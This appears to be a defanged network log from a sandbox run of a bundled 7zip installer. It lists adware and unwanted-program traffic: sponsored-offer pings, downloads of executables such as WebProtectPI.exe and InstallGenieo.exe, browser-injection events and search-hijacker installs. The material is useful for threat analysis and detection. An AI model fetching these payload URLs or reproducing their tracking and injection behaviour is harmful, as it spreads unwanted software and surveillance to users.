hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=16&rnd=1429690921
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429690905&lifetime=0&silent=1&crtnm=na&procstarttime=1429690905&procruntime=16&rnd=1429690921
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=N6dOqWm8Q97B 4EkIHdGP1cIRGsRtnBa7OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYIk0rxKiBQAQaACykertHSH4s2O1I39PFhQC drCF7eFc68xQtOPoFdziGZvY0I4cPzdW36cscYu2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=N6dOqWm8Q97B 4EkIHdGP1cIRGsRtnBa7OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYIk0rxKiBQAQaACykertHSEqjHjRwH0s7BD4NsK07Wi5s IILilpWF1xgjSk8GGeA4y9CQuy MOErhBhNhDB4mSs2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6gKlGaFWGmKjH9csU0/99DAPbhQ0/P7xdJ/9u4mACIyqqfV3Ow7bWo2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=N6dOqWm8Q97B 4EkIHdGP1cIRGsRtnBa7OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYIk0rxKiBQAQaACykertHSEqjHjRwH0s7BD4NsK07Wi5s IILilpWF1YyXxSCjiPqaE3hyBhQt7Tgog8c26L92McXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aJ48i0s7dJ/BldYy53gQNwSwj137NFRjrgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS6JtvHUfgpuU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS3Q2V/0a8esdQ==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=obiBp3WOda80dGo5FFu/RWMaABmnnjRG5codDIH2EkZ4E7mrr1h80pGhRXiiBAM3RDecOO4yPd7dRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmas5NAsDwqh2rmVvO2Kq2gv SYeASUebplq Kqv6oEpAsAMFLo3/8lmmGLGe0GBQxZ8R12Y34RZ2ijgb6v7cXpPvfJKubRTxkYJh48KI0fWwjBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLom28dR Cm5TWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdDZX/Rrx6x1	198.232.124.192
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=1&index_in_screen=1&index_in_session=1&0.9285006302180865
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.047468491246051625
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&0.47954866550261016
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.2414930056970817
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429690955&SBPIDS=0	173.239.4.56
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=3&index_in_screen=1&index_in_session=3&0.30776611432051115
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.22397580442406895
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=2&utmn=1371001495&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Offer_Accepted&utmht=1429690987281&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://stat.webprotectionfree.com/pin.gif?e=download&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&v=4.1.0.13	37.58.109.2
hxxp://stat.webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&v=4.1.0.13	37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadsuc&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&v=4.1.0.13	37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=start&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&adv=&v=4.3.0.42	37.58.109.2
hxxp://track.madagascardomain.com/pin.gif?e=updinst&s=9813&i={38A94106-295F-40DD-B54D-E1D078C38714}&overs=9813&overi={B6FABE4B-0DC3-48A0-A1B9-9E28DD633AC3}"	208.43.248.42
hxxp://stat.webprotectionfree.com/pin.gif?e=installer&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&adv=&v=4.3.0.42	37.58.109.2
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?22286cd7139739ee
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?31b7dce4f63cde7b
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadend&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&v=4.1.0.13&ec=0	37.58.109.2
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?d455f170f77c60cf
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?e72165454ebff1a8
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=1&index_in_screen=1&index_in_session=1&0.24639551799866416
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&0.6841824490635404
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=3&utmn=21225012&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Offer_Accepted&utmht=1429690997195&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://ocsp.godaddy.com.akadns.net//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH+3ahq1OMCAxvnFQ==	188.121.36.239
hxxp://ocsp.godaddy.com.akadns.net//MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc=	188.121.36.239
hxxp://ocsp.godaddy.com.akadns.net//MEkwRzBFMEMwQTAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX+2yz8LQsgM4CCDsMjSNG/1/Z	188.121.36.239
hxxp://theswiftrecord.com/mg?alpha=ZgUTWCotPlB8EV1JPHIlZ0FAVSpmQxEpIxhoERg+YiJSSCpHew4qRWFDEix7PhULDlNkAntaHnwAQw1IdQ0pVVgeUg8XITZ3QzZrVi9y
hxxp://lb.thetrafficstat.net/settings?s=9813&ins=1429690998.446	173.45.105.114
hxxp://theswiftrecord.com/fp?alpha=dnN8VB5efBMXACILU34RdzcvWR52L2olX1FyPUtCcWdxVFh0AnUqc3QzaFA5N2N8dWBrARNTWHcHLQwObiUFVhkecUhOGyYmHkcIUycHWQE1cn8YQGFrKyAbCB18FgtzJz1AGiYJdStycTRgT0wsYHEAYXcNElJBa3UtCh4hZV5ZDmU2bwpNOipsQU9eYwxrDGZoagwQcH4gOB4IDXoTH3IrMEUcMwgpMnR2IWdbXytmaVczZlFGQA43eE1QVyZ4WRx4fCRtEEZ4czUGEl8wGkZ4QHkoRxZtdCkpHwAbfhQUIWF8T3x6USh9NzchFAcZfzstVCAYSRFfX25yLzIeNmNZAGVqdjg5HFMqbExDA3p4Jxgxb3IYQGlxLjUZdRl8EQtxIVYzb1dQFk49WSRW
hxxp://theswiftrecord.com/ii?alpha=dnN8VB5aWW9/cWRwU34RdzcvWR52L3B8E0NAaEVbJC82E1tjAh9lKSJ1cDAaeTo7VXQvQ0cUJT54LwgJdjgAUHYacyBIGCIvalRdUzAHe01bLCdFQyUnP2tJDRR2FQJyKiI0BiUKCCBtcDBlVlJYZX0Hf3UAECdaagMrCwl6UhYJLhV1KA4VJS9rVFUKdxQ4HipvegBCYHM/fEtWbzxJDyl3aAJHfE0pNCQhZxIQEExoeAF8dhsbVFxqaywODXEnFgM9Rw1hGxVCTHwOCE46Sm8RUzYkUR0nNTU4GAQALE9GZn1jBE5hAgF7IzZuIw0ZbnUeWDwiWlUVTG1lTUpXJXNDFzFHL28UCFk/ehceSDBTZUIkZWoDXGFoLi4eAQ09Q0A2e3MXC2NeL3lgfiFhTE88OjpdMyhSHyMCPSl0S1BjPmUKMVwkalh7Y34uBAgTZVR8ETB5JAcCbT8/eVgNFH4KA3AgNh9KLg98KHV0O2VURSgXcwNifAEXQBw1ISB+WS9lVUI8RyxgRWxZQBQgXV4sV2kRQBwVezN2Im0leH1aL1RXbDJGP1xyTSkyFi1zJBcednUaEQEFZmtGKDM2dhh8JmBZBz0OMWVFDnJxOVxKHDkHO3pEUTgLe0M=
hxxp://theswiftrecord.com/if?alpha=dnN8VB4SMQteOz9/U34RdzcvWR52L3B8E0NAaEVbJC82E1tjAh9lKSJ1cDAaeTo7VXQvQ0cUJT54LwgJdjgAUHYacyBIGCIvalRdUzAHe01bLCdFQyUnP2tJDRR2FQJyKiI0BiUKCCBtcDBlVlJYZX0Hf3UAECdaagMrCwl6UhYBOxUSZh1Ee1Y0CA9xKlZmf3M2PlYaditvJRoWW3MUAnEnPkIfPQ1+PHB0NGBSSjwxLFcQNFofDwkiNXFXSiYwVAE+ajNhLhUmL3RRVQNxCjoCNWl/B0N2IXx3Yl9Oc3NhZn1jBlJjWnFFKSplPxUMNnV/BX8kXFZAAykzeEoFDn9TFjdbLmgMCEB2NAUUTTAaPQxULSVTFyM1cHdAUUFuaBJgZHUAWHpQIjJ6ZDd+U1EtY3kAcjVQUBAFOSA9SFkgfRBeeBlvPl5HZHM7DxwHBlRtQG0sIhVaBShwbEtUDR1SUzR3Y1sNfUlxJmYqMyBfBjw0PwxrdhkTVl58KHwFCHMsBVRiHXc0SmotLWpbTw9lSmVIORkrWQE1YH13Q14QCmhtDlM2FkR+XHFWAxtPEUQbbmgffCUnR0dKTAwIallKJjZmDSpcNG8UCEQ/CSIoc2N+Y19vfw5QBDklfBBZDnI+CRM=
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&0.5945441726173517
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=4&utmn=2121860181&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Offer_Accepted&utmht=1429691003977&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=3&index_in_screen=1&index_in_session=3&0.6578830610403008
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en	65.255.35.150
hxxp://dqoup4b5zs0bi.cloudfront.net/infv5/index/3428/bnd	54.230.98.25
hxxp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543c6323981d9/1.pak	54.230.99.41
hxxp://log.very911.com/install.gif?bundle=istartsurf&ptid=smt&uid=267123711_198339_B48A115F	184.173.191.224
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.hp	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.regok	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds	65.255.35.150
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.1.4	173.239.4.105
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=ivSYnxWU6cjhuuY8t0g74lUBXO2fmYBMMSGlA6OWPILYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBv4H8baHsOR69rCVSgOD piBkFOI09ScJ&product=EXTFirefox&rnd=1429691013&it=1&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1	54.197.238.106
hxxp://a1284.g.akamai.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://www.google.com/	173.194.113.210
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Inject&text=JollyWallet	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Inject&text=GoobzoInfo	173.239.4.105
hxxp://lb.thetrafficstat.net/settings?s=9813&ins=1&ver=1.00	173.45.105.114
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Inject&text=DealPly	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Inject&text=GeneralInjector	173.239.4.105
hxxp://www.google.com.ua/?gfe_rd=cr&ei=hlo3VY3UFsHDNNvHgagN	173.194.113.215
hxxp://stat.webprotectionfree.com/pin.gif?e=tracking&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&t=1&v=29.0.1&b=ff&os=6.1x64&osv=7601&ai={42c2ce50-98bd-87f8-6695-f76e817ccf5a}&[email protected]	37.58.109.2
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish	65.255.35.150
hxxp://dqoup4b5zs0bi.cloudfront.net/infv5/index/3428/3rd	54.230.98.25
hxxp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak	54.230.99.41
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1953	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient	65.255.35.150
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ChromeSync	65.255.35.150
hxxp://a1284.g.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt	65.255.35.150
hxxp://a1284.g.akamai.net/pki/crl/products/WinPCA.crl
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action1=install.smt	65.255.35.150
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=5&utmn=590287193&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(istartsurf)&utmhid=1351802398&utmr=-&utmp=Install_Complete&utmht=1429691028924&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://a1284.g.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://installer.betterinstaller.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install	65.255.35.150
hxxp://up.soft365.com/Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=istartsurf	174.36.247.67
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2105	65.255.35.150
hxxp://d110jf50ovcr9h.cloudfront.net/affiliates/filesfrog/eula.html	54.230.98.135
hxxp://d110jf50ovcr9h.cloudfront.net/sponsored/swiftrecord/eula-swiftrecord.html	54.230.98.135
hxxp://d2z5psu5fxw71b.cloudfront.net/affiliates/filesfrog/eula.html	54.230.98.173
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=6&utmn=1997704816&utmhn=installer.filebulldog.com&utmhid=1237336557&utmr=-&utmp=Installer_Init&utmht=1429691030686&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://s3-1-w.amazonaws.com/partner/gim394750002/release/live/InstallGenieo.exe
hxxp://d1fm7s0411k9q7.cloudfront.net/mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe	54.230.98.131
hxxp://d1z9ocnzqrnjt0.cloudfront.net/mirror/filesfrog/UpdateCheckerSetup.exe	54.230.98.196
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAMJz1l6tff2DltkAAQAAwnM=
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=1&index_in_screen=1&index_in_session=1&display_height=75&0.9800367547052495
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=1&index_in_screen=1&index_in_session=1&0.7716849296861856
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=2&index_in_screen=1&index_in_session=2&display_height=195&0.8972419453274972
